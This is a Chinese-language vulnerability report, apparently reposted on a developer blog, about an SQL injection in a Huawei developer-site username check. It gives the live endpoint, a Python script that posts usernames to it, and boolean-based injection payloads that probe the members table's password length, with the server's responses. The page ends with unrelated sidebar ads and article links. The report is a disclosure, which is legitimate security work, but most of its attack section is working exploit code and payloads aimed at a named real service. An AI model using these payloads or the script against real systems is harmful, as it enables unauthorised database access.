作者: Matrix
简要描述:
华为智慧云存在SQL注入,理论上可修改后台数据
详细说明:
http://developer.huaweidevice.com/dev_creg.php
用户名验证POST数据不严格,提交地址 /dev_creg/preg.php?ckuser=1
参考如下测试脚本:
import httplib, urllib
import sys
if len(sys.argv) < 2:
exit(0)
headers = {
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.8",
"Referer": "http://developer.huaweidevice.com/dev_creg.php",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) www.2cto.com Chrome/13.0.782.112 Safari/535.1",
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest",
}
params=urllib.urlencode({
"username": sys.argv[1],
})
conn = httplib.HTTPConnection('developer.huaweidevice.com')
conn.request("POST", "/dev_creg/preg.php?ckuser=1", params, headers)
response = conn.getresponse()
data = response.read()
try:
print data.decode("utf-8")
except Exception:
print dat
漏洞证明:
test.py ".a'"
返回错误信息:<b>SQL</b>: select uid from [Table]members where username='.a'' <br />
D:\>test.py ".a'or'1'='1"
{"code":0,"msg":"昵称不合法或者已存在"}
后台有简单过滤遇到空格会截断。
D:\>test.py ".a'or(length(password)=32)or'2'='1"
{"code":0,"msg":"昵称不合法或者已存在"}
D:\>test.py ".a'or(length(password)=31)or'2'='1"
{"code":1,"msg":"恭喜该名字可以注册!"}
D:\>test.py ".a'or(length(password)=33)or'2'='1"
{"code":1,"msg":"恭喜该名字可以注册!"}
修复方案:
建议做SQL过滤
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· .NET周刊【3月第1期 2025-03-02】
· 分享 3 个 .NET 开源的文件压缩处理库,助力快速实现文件压缩解压功能!
· [AI/GPT/综述] AI Agent的设计模式综述